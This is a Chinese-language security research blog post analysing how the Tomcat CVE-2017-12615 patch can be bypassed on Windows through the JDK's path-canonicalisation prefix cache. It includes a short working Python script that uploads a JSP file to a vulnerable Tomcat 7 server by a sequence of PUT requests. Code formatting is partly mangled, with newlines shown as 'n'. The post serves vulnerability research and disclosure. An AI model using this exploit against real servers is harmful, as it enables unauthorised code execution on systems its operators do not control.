Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615

作者:Pocky

0x01 CVE-2017-12615 補丁分析

CVE-2017-12615 是 Tomcat 在設置了 readonly 為 false 狀態下,可以通過 PUT 創建一個「.jsp 」的文件。由於後綴名非 .jsp 和 .jspx ,所以 Tomcat 在處理的時候經由 DefaultServlet 處理而不是 JspServlet ,又由於 Windows 不允許文件名為空格結尾,所以可以成功創建一個 JSP 文件,以達到 RCE 的結果。

龍哥在周五敲我說,在高並發的情況下,還是可以成功寫入一個 JSP 文件;同時微博上的一個小夥伴也告訴我,在一定的條件下還是可以成功創建文件。

測試發現,對於 7.0.81 可以成功復現,但是對於 8.5.21 失敗。如下代碼分析是基於 Apache Tomcat 7.0.81 的。經過分析,我發現這兩種情況其實本質是相同的。不過在此之前,首先看一下 Tomcat 對於 CVE-2017-12615 的補丁好了。

同樣的,進入 DefaultServlet 的 doPut 方法,再調用到 FileDirContext 的 bind 方法,接著調用 file 方法:

protected File file(String name, boolean mustExist) {n File file = new File(base, name);n return validate(file, mustExist, absoluteBase);n }n

注意到 mustExist 為 false :

protected File validate(File file, boolean mustExist, String absoluteBase) {n n if (!mustExist || file.exists() && file.canRead()) { // !mustExist = true,進入 ifn ...n try {n canPath = file.getCanonicalPath(); n // 此處,對路徑進行規範化,調用的是 java.io.File 內的方法n // 之前的 Payload 中結尾為空格,那麼這個方法就會去掉空格n } catch (IOException e) {n n }n ...n if ((absoluteBase.length() < absPath.length())n && (absoluteBase.length() < canPath.length())) {n ...n // 判斷規範化的路徑以及傳入的路徑是否相等,由於 canPath 沒有空格,return nulln if (!canPath.equals(absPath))n return null;n }n } else {n return null;n }n

經過上述的判斷,導致我們無法通過空格來創建 JSP 文件。

但是之前提到,在高並發或者另外一種情況下,卻又能創建 JSP 文件,也就是說 canPath.equals(absPath) 為 true 。通過深入分析,找出了其原因。

0x02 WinNTFileSystem.canonicalize

上述代碼中,對於路徑的規範化是調用的 file.getCanonicalPath() :

public String getCanonicalPath() throws IOException {n if (isInvalid()) {n throw new IOException("Invalid file path");n }n return fs.canonicalize(fs.resolve(this));n }n

也就是調用 FS 的 canonicalize 方法,對於 Windows,調用的是 WinNTFileSystem.canonicalize 。這個 Bypass 的鍋也就出在 WinNTFileSystem.canonicalize 里,下面為其代碼,我已去處掉了無關代碼可以更清晰的了解原因。

@Overriden public String canonicalize(String path) throws IOException {n ...n if (!useCanonCaches) { // !useCanonCaches = falsen return canonicalize0(path);n } else {n // 進入此處分支n String res = cache.get(path);n if (res == null) {n String dir = null;n String resDir = null;n if (useCanonPrefixCache) {n dir = parentOrNull(path);n if (dir != null) {n resDir = prefixCache.get(dir);n if (resDir != null) {n String filename = path.substring(1 + dir.length());n // 此處 canonicalizeWithPrefix 不會去掉尾部空格n res = canonicalizeWithPrefix(resDir, filename);n cache.put(dir + File.separatorChar + filename, res);n }n }n }n if (res == null) {n // 此處的 canonicalize0 會將尾部空格去掉n res = canonicalize0(path);n cache.put(path, res);n if (useCanonPrefixCache && dir != null) {n resDir = parentOrNull(res);n if (resDir != null) {n File f = new File(res);n if (f.exists() && !f.isDirectory()) {n prefixCache.put(dir, resDir);n }n }n }n }n }n // 返迴路徑n return res;n }n }n

上述代碼有一個非常非常神奇的地方:

  • canonicalizeWithPrefix(resDir, filename) 不會去掉路徑尾部空格
  • canonicalize0(path) 會去掉路徑尾部空格

為了滿足進入存在 canonicalizeWithPrefix 的分支,需要通過兩個判斷:

  • String res = cache.get(path); 應為 null ,此處 PUT 一個從未 PUT 過的文件名即可
  • resDir = prefixCache.get(dir); 應不為 null

可以發現,對於 prefixCache 進行添加元素的操作在下方存在 canonicalize0 的 if 分支:

if (res == null) {n res = canonicalize0(path);n cache.put(path, res);n if (useCanonPrefixCache && dir != null) {n resDir = parentOrNull(res);n if (resDir != null) {n File f = new File(res);n if (f.exists() && !f.isDirectory()) { // 需要滿足條件n prefixCache.put(dir, resDir); // 進行 put 操作n

通過代碼可知,如果想在 prefixCache 存入數據,需要滿足文件存在文件不是目錄的條件。

prefixCache 存放的是什麼數據呢?通過單步調試可以發現:

resDir 為文件所在的絕對路徑。

那麼如果想進入 canonicalizeWithPrefix 的分支,需要滿足的兩個條件已經理清楚了。從 prefixCache.put 開始,觸發漏洞需要的流程如下。

0x03 The Exploit

首先,要向 prefixCache 中添加內容,那麼需要滿足 f.exists() && !f.isDirectory() 這個條件。仍然還是空格的鍋:

>>> os.path.exists("C:/Windows/System32/cmd.exe")n Truen >>> os.path.exists("C:/Windows/System32/cmd.exe ")n Truen

那麼,在無已知文件的情況下,我們只需要先 PUT 創建一個 test.txt ,在 PUT 一個 test.txt%20 ,即可向 prefixCache 添加數據了。

單步查看,發現已經通過分支,並且向 prefixCache 添加數據:

接著,創建一個 JSP 文件 「test.jsp%20」 ,單步查看:

可以發現,resDir 不為 null ,且 res 結尾帶著空格。於是可以通過最開始的 canPath.equals(absPath) 的檢查。查看 BurpSuite 中的返回:

發現已經創建成功了。

Exploit:

import sysn import requestsn import randomn import hashlibn shell_content = n RR is handsome!n n if len(sys.argv) <= 1:n print(Usage: python tomcat.py [url])n exit(1)n def main():n filename = hashlib.md5(str(random.random())).hexdigest()[:6]n put_url = {}/{}.txt.format(sys.argv[1], filename)n shell_url = {}/{}.jsp.format(sys.argv[1], filename)n requests.put(put_url, data=1)n requests.put(put_url + %20, data=1)n requests.put(shell_url + %20, data=shell_content)n requests.delete(put_url)n print(Shell URL: {}.format(shell_url))n if __name__ == __main__:n main()n

0x04 Tomcat 8.5.21!?

Tomcat 8.5.21 通過 WebResourceRoot 來處理資源文件:

protected transient WebResourceRoot resources = null;n ...nn @Overriden protected void doPut(HttpServletRequest req, HttpServletResponse resp)n throws ServletException, IOException {n ...n try {n if (range != null) {n File contentFile = executePartialPut(req, range, path);n resourceInputStream = new FileInputStream(contentFile);n } else {n resourceInputStream = req.getInputStream();n }nn if (resources.write(path, resourceInputStream, true)) { // 進入 writen if (resource.exists()) {n resp.setStatus(HttpServletResponse.SC_NO_CONTENT);n } else {n resp.setStatus(HttpServletResponse.SC_CREATED);n }n } else {n

接著調用 DirResourceSet.write :

@Overriden public boolean write(String path, InputStream is, boolean overwrite) {n path = validate(path);n if (!overwrite && preResourceExists(path)) {n return false;n }n // main 為 DirResourceSet 的 instancen boolean writeResult = main.write(path, is, overwrite);n ...n }n

DirResourceSet.write 的源碼為:

@Overriden public boolean write(String path, InputStream is, boolean overwrite) {n checkPath(path);n if (is == null) {n throw new NullPointerException(n sm.getString("dirResourceSet.writeNpe"));n }n if (isReadOnly()) {n return false;n }n File dest = null;n String webAppMount = getWebAppMount();n if (path.startsWith(webAppMount)) {n // 進入 file 方法n dest = file(path.substring(webAppMount.length()), false);n

file 方法:

protected final File file(String name, boolean mustExist) {n ...n String canPath = null;n try {n canPath = file.getCanonicalPath();n } catch (IOException e) {n // Ignoren }n ...n if ((absoluteBase.length() < absPath.length())n && (canonicalBase.length() < canPath.length())) {n ...n if (!canPath.equals(absPath))n return null;n }n } else {n return null;n }n return file;n }n

換湯不換藥,為什麼不能觸發呢?經過單步,發現成功通過判斷,但是在文件複製的時候出現了問題:

try {n if (overwrite) {n Files.copy(is, dest.toPath(), StandardCopyOption.REPLACE_EXISTING); // 此處n } else {n Files.copy(is, dest.toPath());n }n } catch (IOException ioe) {n return false;n }n

在 toPath 方法的時候出現了問題:

public Path toPath() {n Path result = filePath;n if (result == null) {n synchronized (this) {n result = filePath;n if (result == null) {n result = FileSystems.getDefault().getPath(path);n filePath = result;n }n }n }n return result;n }n

WindowsPathParser.normalize 判斷是是不是非法的字元:

private static String normalize(StringBuilder sb, String path, int off) {n ...n while (off < len) {n char c = path.charAt(off);n if (isSlash(c)) {n if (lastC == )n throw new InvalidPathException(path,n "Trailing char <" + lastC + ">",n off - 1);n ...n } else {n if (isInvalidPathChar(c))n throw new InvalidPathException(path,n "Illegal char <" + c + ">",n off);n lastC = c;n off++;n }n }n if (start != off) {n if (lastC == )n throw new InvalidPathException(path,n "Trailing char <" + lastC + ">",n off - 1);n sb.append(path, start, off);n }n return sb.toString();n }n

以及:

private static final boolean isInvalidPathChar(char var0) {n return var0 < || "<>:"|?*".indexOf(var0) != -1;n }n

難過。

推薦閱讀:

web項目上線之前需要注意什麼問題?
tomcat運行久了,需要重新啟動,才能接收客戶端請求,但是靜態資源可以訪問,怎麼解決?
直接優化JVM 和 Tomcat JVM(修改catalina.sh)優化有什麼區別?
adt-bundle-windows沒有集成tomcat,如何配置tomcat伺服器?網上的教程大多很古老不適用。
Tomcat是如何將JSP代碼編譯成Servlet代碼的?

TAG:ApacheTomcat | 补丁 | 信息安全 |